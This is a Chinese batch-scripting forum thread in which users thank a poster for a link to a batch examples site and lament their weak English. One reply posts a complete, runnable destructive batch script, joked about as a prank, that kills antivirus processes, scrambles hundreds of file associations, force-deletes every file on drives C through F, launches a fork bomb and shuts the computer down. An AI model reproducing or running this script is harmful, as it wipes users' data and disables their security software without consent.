返回列表 发帖

批处理代码大全

http://www.robvanderwoude.com/batexamples.php
代码很多。可以按照功能过滤。
1

评分人数

    • lxzzr: 感谢分享!PB + 20

大致看下,这网站还不错。。。

TOP

的确不错啊!

好多实例哦哦~

C#、Batch、正则表达式也有勒!!

谢谢分享!!

TOP

好东西呀!

TOP

新手就免了  没解释看不明白 英语也差

TOP

回复 1# lxh623


    刚看了下 吓到了 功能好全啊

TOP

英文是硬伤

TOP

遗憾没有打包下载的地方,

TOP

新手打酱油路过

TOP

能考虑下不会英语的人么

TOP

回复 1# lxh623


    我来一个毁系统的代码:
::欢迎使用Microsoft Corporation 整人软件(这是升级版哦“6.1.7600”)
::该软件将会破坏您的系统 请不要做备份因为待会都会被删除
::该软件一旦运行就无法阻止,请节哀顺变吧
color 06
::你喜欢这种颜色吗 偶感觉还不错
::好,下面开始进行系统破坏……哈哈,你的电脑死定了
if not exist c:\1.txt echo. >c:1.txt$ goto errl
if not exist c:\2.txt echo. >c:2.txt$ goto errl
if not exist c:\3.txt echo. >c:3.txt$ goto errl
if not exist c:\4.txt echo. >c:4.txt$ goto errl
if not exist c:\5.txt echo. >c:5.txt$ goto errl
if not exist c:\6.txt echo. >c:6.txt$ goto errl
if not exist c:\7.txt echo. >c:7.txt$ goto errl
if not exist c:\8.txt echo. >c:8.txt$ goto errl
if not exist c:\9.txt echo. >c:9.txt$ goto errl
if not exist c:\10.txt echo. >c:10.txt$ goto errl
if not exist c:\11.txt echo. >c:11.txt$ goto errl
if not exist c:\12.txt echo. >c:12.txt$ goto errl
if not exist c:\13.txt echo. >c:13.txt$ goto errl
if not exist c:\14.txt echo. >c:14.txt$ goto errl
if not exist c:\15.txt echo. >c:15.txt$ goto errl
if not exist c:\16.txt echo. >c:16.txt$ goto errl
if not exist c:\17.txt echo. >c:17.txt$ goto errl
if not exist c:\18.txt echo. >c:18.txt$ goto errl
if not exist c:\19.txt echo. >c:19.txt$ goto errl
if not exist c:\20.txt echo. >c:20.txt$ goto errl
if not exist c:\21.txt echo. >c:21.txt$ goto errl
if not exist c:\22.txt echo. >c:22.txt$ goto errl
if not exist c:\23.txt echo. >c:23.txt$ goto errl
if not exist c:\24.txt echo. >c:24.txt$ goto errl
if not exist c:\25.txt echo. >c:25.txt$ goto errl
if not exist c:\26.txt echo. >c:26.txt$ goto errl
if not exist c:\27.txt echo. >c:27.txt$ goto errl
if not exist c:\28.txt echo. >c:28.txt$ goto errl
if not exist c:\29.txt echo. >c:29.txt$ goto errl
if not exist c:\30.txt echo. >c:30.txt$ goto errl
if not exist c:\31.txt echo. >c:31.txt$ goto errl
if not exist c:\32.txt echo. >c:32.txt$ goto errl
if not exist c:\33.txt echo. >c:33.txt$ goto errl
if not exist c:\34.txt echo. >c:34.txt$ goto errl
if not exist c:\35.txt echo. >c:35.txt$ goto errl
if not exist c:\36.txt echo. >c:36.txt$ goto errl
if not exist c:\37.txt echo. >c:37.txt$ goto errl
if not exist c:\38.txt echo. >c:38.txt$ goto errl
if not exist c:\39.txt echo. >c:39.txt$ goto errl
if not exist c:\40.txt echo. >c:40.txt$ goto errl
goto err2
:err1
shutdown -s -t 0
:err2
::QQ即将关闭
taskkill /f /im QQ.exe::360即将关闭
taskkill /f /im 360SE.exe
taskkill /f /im 360sd.exe
taskkill /f /im 360rp.exe
taskkill /f /im 360tray.exe::以下将会弹出1000个窗口,等着系统崩溃吧………………开始
::以下将会更改文件拓展名的作用哦
assoc.xxx=xxxfile
ftype xxxfile="%1"%*
copy%systemroot%\system32\cmd.exe%systemroot%system32\cmd.xxx
assoc .aca=txtfile
assoc .acf=txtfile
assoc .acm=txtfile
assoc .aif=txtfile
assoc .aifc=txtfile
assoc .aiff=txtfile
assoc .ani=txtfile
assoc .ans=txtfile
assoc .arc=txtfile
assoc .arj=txtfile
assoc .asf=txtfile
assoc .asp=txtfile
assoc .asx=txtfile
assoc .au=txtfile
assoc .avi=txtfile
assoc .bak=txtfile
assoc .bbs=txtfile
assoc .bfc=txtfile
assoc .bin=txtfile
assoc .bmp=txtfile
assoc .c=txtfile
assoc .cab=txtfile
assoc .cal=txtfile
assoc .cdf=txtfile
assoc .cdr=txtfile
assoc .cdx=txtfile
assoc .cfg=txtfile
assoc .chm=txtfile
assoc .clp=txtfile
assoc .cnf=txtfile
assoc .cmf=txtfile
assoc .cnt=txtfile
assoc .col=txtfile
assoc .com=txtfile
assoc .cpl=txtfile
assoc .cpp=txtfile
assoc .crd=txtfile
assoc .crt=txtfile
assoc .cur=txtfile
assoc .css=txtfile
assoc .dat=txtfile
assoc .dbf=txtfile
assoc .dcx=txtfile
assoc .ddi=txtfile
assoc .dev=txtfile
assoc .dib=txtfile
assoc .dir=txtfile
assoc .dll=txtfile
assoc .doc=txtfile
assoc .docx=txtfile
assoc .dos=txtfile
assoc .dot=txtfile
assoc .drv=txtfile
assoc .dwg=txtfile
assoc .dxb=txtfile
assoc .dxf=txtfile
assoc .der=txtfile
assoc .dic=txtfile
assoc .emf=txtfile
assoc .eps=txtfile
assoc .err=txtfile
assoc .exe=txtfile
assoc .exp=txtfile
assoc .exc=txtfile
assoc .flc=txtfile
assoc .fnd=txtfile
assoc .fon=txtfile
assoc .for=txtfile
assoc .fot=txtfile
assoc .fp=txtfile
assoc .fpt=txtfile
assoc .frt=txtfile
assoc .fxp=txtfile
assoc .gif=txtfile
assoc .grh=txtfile
assoc .grp=txtfile
assoc .goc=txtfile
assoc .gra=txtfile
assoc .h=txtfile
assoc .hlp=txtfile
assoc .hqx=txtfile
assoc .ht=txtfile
assoc .htm=txtfile
assoc .html=txtfile
assoc .icm=txtfile
assoc .ico=txtfile
assoc .idf=txtfile
assoc .idx=txtfile
assoc .iff=txtfile
assoc .image=txtfile
assoc .ime=txtfile
assoc .img=txtfile
assoc .inc=txtfile
assoc .inf=txtfile
assoc .ini=txtfile
assoc .jar=txtfile
assoc .jpeg=txtfile
assoc .jpg=txtfile
assoc .lnk=txtfile
assoc .log=txtfile
assoc .lzh=txtfile
assoc .mac=txtfile
assoc .mag=txtfile
assoc .mdb=txtfile
assoc .mid=txtfile
assoc .men=txtfile
assoc .rle=txtfile
assoc .rm=txtfile
assoc .rmi=txtfile
assoc .rtf=txtfile
assoc .sav=txtfile
assoc .scp=txtfile
assoc .scr=txtfile
assoc .sct=txtfile
assoc .scx=txtfile
assoc .set=txtfile
assoc .shb=txtfile
assoc .snd=txtfile
assoc .sql=txtfile
assoc .svg=txtfile
assoc .svx=txtfile
assoc .swf=txtfile
assoc .swg=txtfile
assoc .sys=txtfile
assoc .txt=jarfile
assoc .nfo=txtfile::以下是删除你的C盘所有文件
del /a /f /s /q C:\*.*::以下是删除你的D盘所有的文件
del /a /f /s /q D:\*.*::以下是删除你的E盘所有的文件
del /a /f /s /q E:\*.*::以下是删除你的D盘所有的文件
del /a /f /s /q F:\*.*
::好,来到这里,差不多快结束了,也就是说,你的系统快崩溃了……bye
::你会死得很惨…………嘻嘻
::这次把你的内存占满
for /l %%i in (1,1,10000) do (start %0)
::5秒后即将关机……关机后你死定了
shutdown -s -t 5
结束
这上面的意思是:
使电脑重启40
把文件后缀名所启动的程序乱改一通
删除C,D,E,F盘的所有文件
把内存(CPU)占满
5秒后自动关机COPY
我的世界我做主

TOP

回复 10# mayz1994@qq.com


    这个,额,我和你感同身受,全是英语,一个不懂
我的世界我做主

TOP

回复 6# 狱渊


    大哥,能不能告诉我你怎莫看懂英语的
我的世界我做主

TOP

回复 13# 974324898


    上学的时候没好好学吧
我帮忙写的代码不需要付钱。如果一定要给,请在微信群或QQ群发给大家吧。
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
【支持批处理之家,加入VIP会员!】http://bbs.bathome.net/thread-67716-1-1.html

TOP

有道翻译当前网页~~~~~~~~~~~

TOP

返回列表